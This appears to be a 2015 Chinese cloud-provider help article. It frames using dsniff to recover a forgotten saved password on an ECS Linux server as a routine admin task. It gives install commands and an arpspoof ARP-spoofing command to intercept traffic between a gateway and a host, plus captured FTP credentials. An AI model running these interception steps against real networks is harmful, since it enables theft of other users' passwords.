• 1
  • 2
  • 3
  • 4
  • 5
阿里云主机ECS 首 页  »  帮助中心  »  云服务器  »  阿里云主机ECS
ECS Linux系统通过dsniff嗅探工具找回保存了连接的服务密码的具体操作
发布日期:2015-12-24 14:12:11

  dnsiff是一个口令嗅探器,可处理的协议类型包括下面的大量协议:

  AIM,CVS,Citrix ICA,FTP,HTTP,IMAP,IRC,ICQ,Meeting Maker,MS- CHAP,Microsoft SMB,Microsoft SQLNNTP,NAI Sniffer,NFS,Napster,POP,LDAP,Rlogin,RIP,SOCKS,SybaseSNMP,SMTP,Telnet,ostgreSQL, Oracle QL*Net,OSPF,PPTP,pcAnywhere,VRRP,X11及YP/NIS认证信息

  在ECS Linux系统下该工具的一个适用场景:操作过程不慎密码忘记了,但客户端保存了连接记录,可尝试使用该工具获取系统中的密码信息。

  实现方法:

  1、安装相关组件

  [root@iZ23idnojanZ ~]# yum -y install libnet libpcap postgresql-libs apr dsniff openssl


  安装Berkeley_db

  Download (HTTP):

  http://download.oracle.com/berkeley-db/db-6.1.26.tar.gz

  http://www.monkey.org/~dugsong/dsniff/dsniff-2.3.tar.gz

  1)安装Berkeley_db

  [root@iZ23idnojanZ ~]# cd /usr/local/src/

  [root@iZ23idnojanZ ~]#wget http://download.oracle.com/berkeley-db/db-6.1.26.tar.gz

  [root@iZ23idnojanZ ~]#tar zxvf db-6.1.26.tar.gz

  [root@iZ23idnojanZ ~]#cd db-6.1.26/

  [root@iZ23idnojanZ ~]#cd build_unix/

  [root@iZ23idnojanZ ~]#../dist/configure --prefix=/usr --enable-compat185 -enable-cxx && make

  [root@iZ23idnojanZ ~]#make docdir=/usr/share/doc/db-6.1.26 install && chown -v -R root:root /usr/bin/berkeley_db_svc /usr/bin/db_* /usr/include/db{,_185,_cxx}.h /usr/lib/libdb{{,_cxx}.a,{,_cxx,_java,_tcl}-6.1.{so,a,la}} /usr/share/doc/db-6.1.26

  2)安装dsniff

  [root@iZ23idnojanZ src]# wget http://www.monkey.org/~dugsong/dsniff/dsniff-2.3.tar.gz

  [root@iZ23idnojanZ src]# tar zxvf dsniff-2.3.tar.gz

  [root@iZ23idnojanZ src]# cd dsniff-2.3/

  [root@iZ23idnojanZ dsniff-2.3]# ./configure --prefix=/usr/local && make && make install

  2、测试实现部分

  linux服务器上打开两个虚拟窗口

  [root@iZ23idnojanZ ~]# # arpspoof -i eth1 -t ip1 ip2(1为网关ip地址,188为windows主机的ip地址)

  另外一个窗口进行嗅探

  [root@iZ23idnojanZ src]#dsniff -c -f /etc/dsniff/dsniff.services

  接着在windows主机上登陆虚拟机Linux的vsftp服务器 (可以得到以下的嗅探数据)

  [root@iZ23idnojanZ ~]# dsniff -c -f /etc/dsniff/dsniff.services

  dsniff: listening on peth0

  -----------------

  10/15/11 03:16:36 tcp 192.168.1.188.61983 -> 192.168.1.192.21 (ftp)

  PASS lajiwyzj

  USER anonymous

  PASS User@

  总结,dsniff嗅探是一个双方欺骗的原理,在两台正常数据交互的主机之间展开欺骗,骗取双方的数据,操作不慎密码忘记了,但保存了连接,就这么获取就行了。